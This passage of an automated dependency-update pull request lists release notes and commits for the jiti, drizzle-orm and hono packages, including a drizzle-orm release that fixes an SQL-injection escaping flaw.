href=\"https://redirect.github.com/unjs/jiti/pull/428\"\u003e#428\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003ejiti/static\u003c/code\u003e subpath (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/430\"\u003e#430\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🔥 Performance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003einteropDefault:\u003c/strong\u003e Add caching to reduce proxy overhead by ~2x (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/421\"\u003e#421\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003erequire:\u003c/strong\u003e Passthrough resolve options (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/412\"\u003e#412\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003erequire:\u003c/strong\u003e Fallback to transpilation when \u003ccode\u003etryNative\u003c/code\u003e fails (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/413\"\u003e#413\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFallback for \u003ccode\u003eENAMETOOLONG\u003c/code\u003e when evaluating esm (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/429\"\u003e#429\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e📦 Build\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade rspack to v2 (\u003ca href=\"https://github.com/unjs/jiti/commit/55194fb\"\u003e55194fb\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExperimental rolldown config (\u003ca href=\"https://github.com/unjs/jiti/commit/8c0243f\"\u003e8c0243f\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e✅ Tests\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eIgnore jsx test for bun/cjs (\u003ca href=\"https://github.com/unjs/jiti/commit/3a744ca\"\u003e3a744ca\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Contributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePooya Parsa (\u003ca href=\"https://github.com/pi0\"\u003e\u003ccode\u003e@​pi0\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eKricsleo (\u003ca href=\"https://github.com/kricsleo\"\u003e\u003ccode\u003e@​kricsleo\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEspen Hovlandsdal (\u003ca href=\"https://github.com/rexxars\"\u003e\u003ccode\u003e@​rexxars\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRintaro Itokawa (\u003ca href=\"https://github.com/re-taro\"\u003e\u003ccode\u003e@​re-taro\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMatteo Collina (\u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMario Zechner (\u003ca href=\"https://github.com/badlogic\"\u003e\u003ccode\u003e@​badlogic\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/unjs/jiti/blob/main/CHANGELOG.md\"\u003ejiti's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.7.0\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/unjs/jiti/compare/v2.6.1...v2.7.0\"\u003ecompare changes\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003e🚀 Enhancements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd explicit resource management (using/await using) support (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/422\"\u003e#422\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport opt-in \u003ccode\u003etsconfigPaths\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/427\"\u003e#427\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport virtual modules option (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/428\"\u003e#428\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003ejiti/static\u003c/code\u003e export (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/430\"\u003e#430\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🔥 Performance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003einteropDefault:\u003c/strong\u003e Add caching to reduce proxy overhead by ~2x (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/421\"\u003e#421\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003erequire:\u003c/strong\u003e Passthrough resolve options (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/412\"\u003e#412\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eci:\u003c/strong\u003e Skip \u003ccode\u003e--coverage\u003c/code\u003e flag for node 18 (\u003ca href=\"https://github.com/unjs/jiti/commit/fe264b4\"\u003efe264b4\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003erequire:\u003c/strong\u003e Fallback to transpilation when \u003ccode\u003etryNative\u003c/code\u003e fails (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/413\"\u003e#413\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFallback for \u003ccode\u003eENAMETOOLONG\u003c/code\u003e when evaluating esm (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/429\"\u003e#429\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e📦 Build\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade rspack (\u003ca href=\"https://github.com/unjs/jiti/commit/55194fb\"\u003e55194fb\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExperimental rolldown config (\u003ca href=\"https://github.com/unjs/jiti/commit/8c0243f\"\u003e8c0243f\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🏡 Chore\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix lint issues (\u003ca href=\"https://github.com/unjs/jiti/commit/4045c7a\"\u003e4045c7a\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate deps (\u003ca href=\"https://github.com/unjs/jiti/commit/e88ac44\"\u003ee88ac44\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate deps (\u003ca href=\"https://github.com/unjs/jiti/commit/498e8d7\"\u003e498e8d7\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd missing prettier dep (\u003ca href=\"https://github.com/unjs/jiti/commit/650bc48\"\u003e650bc48\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eLint (\u003ca href=\"https://github.com/unjs/jiti/commit/058d91a\"\u003e058d91a\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eInit agents.md (\u003ca href=\"https://github.com/unjs/jiti/commit/c49c54e\"\u003ec49c54e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate agents.md (\u003ca href=\"https://github.com/unjs/jiti/commit/4deba16\"\u003e4deba16\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate deps (\u003ca href=\"https://github.com/unjs/jiti/commit/08fc868\"\u003e08fc868\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate tsconfig (\u003ca href=\"https://github.com/unjs/jiti/commit/8c7822e\"\u003e8c7822e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate release script (\u003ca href=\"https://github.com/unjs/jiti/commit/27fe3f2\"\u003e27fe3f2\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e✅ Tests\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eIgnore jsx test for bun/cjs (\u003ca href=\"https://github.com/unjs/jiti/commit/3a744ca\"\u003e3a744ca\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate (\u003ca href=\"https://github.com/unjs/jiti/commit/9ee314f\"\u003e9ee314f\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🤖 CI\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate node test matrix (\u003ca href=\"https://github.com/unjs/jiti/commit/0abda72\"\u003e0abda72\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Contributors\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/unjs/jiti/commit/fd3bb289b75ed207edfb686d671ed50144f7e90f\"\u003e\u003ccode\u003efd3bb28\u003c/code\u003e\u003c/a\u003e chore(release): v2.7.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/unjs/jiti/commit/27fe3f2a496b712674061c767f21ceaf34d39d83\"\u003e\u003ccode\u003e27fe3f2\u003c/code\u003e\u003c/a\u003e chore: update release script\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/unjs/jiti/commit/4fcd2f23aa31d2e1ece4b307350b8c1d72a26870\"\u003e\u003ccode\u003e4fcd2f2\u003c/code\u003e\u003c/a\u003e fix: fallback for \u003ccode\u003eENAMETOOLONG\u003c/code\u003e when evaluating esm (\u003ca href=\"https://redirect.github.com/unjs/jiti/issues/429\"\u003e#429\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/unjs/jiti/commit/8c0243f14e65193fceb023b81aed5c9a820ee2cb\"\u003e\u003ccode\u003e8c0243f\u003c/code\u003e\u003c/a\u003e build: experimental rolldown config\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/unjs/jiti/commit/55194fbb97b56af50ae1c19735ee3b06110b3903\"\u003e\u003ccode\u003e55194fb\u003c/code\u003e\u003c/a\u003e build: upgrade rspack\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/unjs/jiti/commit/0abda72c11fa31654ae17f255f9a854e4b706018\"\u003e\u003ccode\u003e0abda72\u003c/code\u003e\u003c/a\u003e ci: update node test matrix\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/unjs/jiti/commit/8c7822ef2ff03669c31de2fedfcf6676970f5b2a\"\u003e\u003ccode\u003e8c7822e\u003c/code\u003e\u003c/a\u003e chore: update tsconfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/unjs/jiti/commit/08fc868c928d65fb615800e51b0ec1ac78f83a69\"\u003e\u003ccode\u003e08fc868\u003c/code\u003e\u003c/a\u003e chore: update deps\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/unjs/jiti/commit/5d552e3bebf9ffcd3fb9f176364fce7b4e35134d\"\u003e\u003ccode\u003e5d552e3\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003ejiti/static\u003c/code\u003e export (\u003ca href=\"https://redirect.github.com/unjs/jiti/issues/430\"\u003e#430\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/unjs/jiti/commit/ae790b0214512857e40e8b3078b63a7d65f7f2c9\"\u003e\u003ccode\u003eae790b0\u003c/code\u003e\u003c/a\u003e feat: support virtual modules option (\u003ca href=\"https://redirect.github.com/unjs/jiti/issues/428\"\u003e#428\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/unjs/jiti/compare/v2.6.1...v2.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `drizzle-orm` from 0.38.4 to 0.45.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/drizzle-team/drizzle-orm/releases\"\u003edrizzle-orm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.45.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003esql.identifier()\u003c/code\u003e, \u003ccode\u003esql.as()\u003c/code\u003e escaping issues. Previously all the values passed to this functions were not properly escaped\ncausing a possible SQL Injection (CWE-89) vulnerability\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThanks to \u003ca href=\"https://github.com/EthanKim88\"\u003e\u003ccode\u003e@​EthanKim88\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/0x90sh\"\u003e\u003ccode\u003e@​0x90sh\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/wgoodall01\"\u003e\u003ccode\u003e@​wgoodall01\u003c/code\u003e\u003c/a\u003e for reaching out to us with a reproduction and suggested fix\u003c/p\u003e\n\u003ch2\u003e0.45.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed pg-native Pool detection in node-postgres transactions breaking in environments with forbidden \u003ccode\u003erequire()\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5107\"\u003e#5107\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.45.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed pg-native Pool detection in node-postgres transactions\u003c/li\u003e\n\u003cli\u003eAllowed subqueries in select fields\u003c/li\u003e\n\u003cli\u003eUpdated typo algorythm =\u0026gt; algorithm\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003e$onUpdate\u003c/code\u003e not handling \u003ccode\u003eSQL\u003c/code\u003e values (fixes \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/2388\"\u003e#2388\u003c/a\u003e, tests implemented by \u003ca href=\"https://github.com/L-Mario564\"\u003eL-Mario564\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/pull/2911\"\u003e#2911\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003epg\u003c/code\u003e mappers not handling \u003ccode\u003eDate\u003c/code\u003e instances in \u003ccode\u003ebun-sql:postgresql\u003c/code\u003e driver responses for \u003ccode\u003edate\u003c/code\u003e, \u003ccode\u003etimestamp\u003c/code\u003e types (fixes \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/4493\"\u003e#4493\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.7\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix durable sqlite transaction return value \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/3746\"\u003e#3746\u003c/a\u003e - thanks \u003ca href=\"https://github.com/joaocstro\"\u003e\u003ccode\u003e@​joaocstro\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.6\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: add $replicas reference \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/4874\"\u003e#4874\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed invalid usage of \u003ccode\u003e.one()\u003c/code\u003e in \u003ccode\u003edurable-sqlite\u003c/code\u003e session\u003c/li\u003e\n\u003cli\u003eFixed spread operator related crash in sqlite \u003ccode\u003eblob\u003c/code\u003e columns\u003c/li\u003e\n\u003cli\u003eBetter browser support for sqlite \u003ccode\u003eblob\u003c/code\u003e columns\u003c/li\u003e\n\u003cli\u003eImproved sqlite \u003ccode\u003eblob\u003c/code\u003e mapping\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix wrong DrizzleQueryError export. thanks \u003ca href=\"https://github.com/nathankleyn\"\u003e\u003ccode\u003e@​nathankleyn\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed types of \u003ccode\u003e$client\u003c/code\u003e for clients created by drizzle function\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre lang=\"ts\"\u003e\u003ccode\u003eawait db.$client.[...]\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003eAdded the \u003ccode\u003eupdated_at\u003c/code\u003e column to the \u003ccode\u003eneon_auth.users_sync\u003c/code\u003e table definition.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[BUG]: Fixed type issues with joins with certain variations of \u003ccode\u003etsconfig\u003c/code\u003e: \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/4535\"\u003e#4535\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/4457\"\u003e#4457\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/4586\"\u003e[BUG]: Drizzle can no longer run on Durable Objects\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.0\u003c/h2\u003e\n\u003ch2\u003eError handling\u003c/h2\u003e\n\u003cp\u003eStarting from this version, we’ve introduced a new \u003ccode\u003eDrizzleQueryError\u003c/code\u003e that wraps all errors from database drivers and provides a set of useful information:\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/273c78071d4841b497f5144734b38294df7ec64b\"\u003e\u003ccode\u003e273c780\u003c/code\u003e\u003c/a\u003e + 0.45.2 (\u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5534\"\u003e#5534\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/4aa6ecfee4b4728dadf6f77f071a149878a3c6c0\"\u003e\u003ccode\u003e4aa6ecf\u003c/code\u003e\u003c/a\u003e Kit updates (\u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5490\"\u003e#5490\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/e8e6edfef5ca69c6188d320388ad440265911057\"\u003e\u003ccode\u003ee8e6edf\u003c/code\u003e\u003c/a\u003e feat(drizzle-kit): support d1 via binding (\u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5302\"\u003e#5302\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/a086f59fba7f46f3a077893ba912c99e91eaa760\"\u003e\u003ccode\u003ea086f59\u003c/code\u003e\u003c/a\u003e Fixed pg-native Pool detection in node-postgres transactions breaking in envi...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/c445637df39366bcf47b12601896ce851771c1c2\"\u003e\u003ccode\u003ec445637\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5095\"\u003e#5095\u003c/a\u003e from drizzle-team/main-workflows\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/e7b3aaa26456b88cd23a7843ebc95b3bddde1ba4\"\u003e\u003ccode\u003ee7b3aaa\u003c/code\u003e\u003c/a\u003e Merge branch 'main' into main-workflows\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/0d885a54ddafd8717f8610cf3d2899f3eef61e65\"\u003e\u003ccode\u003e0d885a5\u003c/code\u003e\u003c/a\u003e refactor: Update condition for run-feature job to improve clarity and functio...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/45a1ffbcbfdd96772d0aba7d9e43744db2dce471\"\u003e\u003ccode\u003e45a1ffb\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5087\"\u003e#5087\u003c/a\u003e from drizzle-team/main-workflows\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/6357645bd33b1f444e1d081769dd4b71c3de31f8\"\u003e\u003ccode\u003e6357645\u003c/code\u003e\u003c/a\u003e chore: Comment out NEON_HTTP_CONNECTION_STRING requirement in release workflows\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/53dec98a936f549d0cc2e668f19db3a2df842f51\"\u003e\u003ccode\u003e53dec98\u003c/code\u003e\u003c/a\u003e refactor: Simplify release router workflow by removing unnecessary switch job...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/drizzle-team/drizzle-orm/compare/0.38.4...0.45.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for drizzle-orm since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `hono` from 4.11.4 to 4.12.30\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/honojs/hono/releases\"\u003ehono's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.12.30\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(benchmark/routers): bump deps in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5107\"\u003ehonojs/hono#5107\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(benchmark): remove not used benchmarks in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5108\"\u003ehonojs/hono#5108\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: update to ts6 in prep for ts7 in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5104\"\u003ehonojs/hono#5104\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(cache): deduplicate Cache-Control directives case-insensitively in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5025\"\u003ehonojs/hono#5025\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(compress): do not compress 206 Partial Content responses in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5020\"\u003ehonojs/hono#5020\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(client): replaceUrlParam should not match a param that prefixes another in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5096\"\u003ehonojs/hono#5096\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(method-override): set duplex when forwarding a stream body in query mode in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5110\"\u003ehonojs/hono#5110\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/honojs/hono/compare/v4.12.29...v4.12.30\"\u003ehttps://github.com/honojs/hono/compare/v4.12.29...v4.12.30\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev4.12.29\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(client): merge function headers with per-request headers by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5092\"\u003ehonojs/hono#5092\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: fix no-op tsc in test script by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5093\"\u003ehonojs/hono#5093\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(lambda-edge): resolve the handler with the value passed to the callback by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5094\"\u003ehonojs/hono#5094\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(language): add JSDoc \u003ca href=\"https://github.com/example\"\u003e\u003ccode\u003e@​example\u003c/code\u003e\u003c/a\u003e to languageDetector by \u003ca href=\"https://github.com/codebybilal18\"\u003e\u003ccode\u003e@​codebybilal18\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5081\"\u003ehonojs/hono#5081\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest(workerd): add \u003ccode\u003ecompatibilityDate\u003c/code\u003e by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5100\"\u003ehonojs/hono#5100\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(lambda-edge): base64 encode content-encoded response bodies by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5099\"\u003ehonojs/hono#5099\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(aws-lambda): treat any non-identity content-encoding as binary by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5101\"\u003ehonojs/hono#5101\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(types): strip extra properties from array types in JSONParsed by \u003ca href=\"https://github.com/Arman-Luthra\"\u003e\u003ccode\u003e@​Arman-Luthra\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5103\"\u003ehonojs/hono#5103\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(trie-router): match empty wildcard remainder after regexp param by \u003ca href=\"https://github.com/usualoma\"\u003e\u003ccode\u003e@​usualoma\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5102\"\u003ehonojs/hono#5102\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(etag): treat If-None-Match: \u003ccode\u003e*\u003c/code\u003e as a match by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5084\"\u003ehonojs/hono#5084\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/codebybilal18\"\u003e\u003ccode\u003e@​codebybilal18\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5081\"\u003ehonojs/hono#5081\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Arman-Luthra\"\u003e\u003ccode\u003e@​Arman-Luthra\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5103\"\u003ehonojs/hono#5103\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/honojs/hono/compare/v4.12.28...v4.12.29\"\u003ehttps://github.com/honojs/hono/compare/v4.12.28...v4.12.29\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev4.12.28\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(serve-static): treat empty string content as found by \u003ca 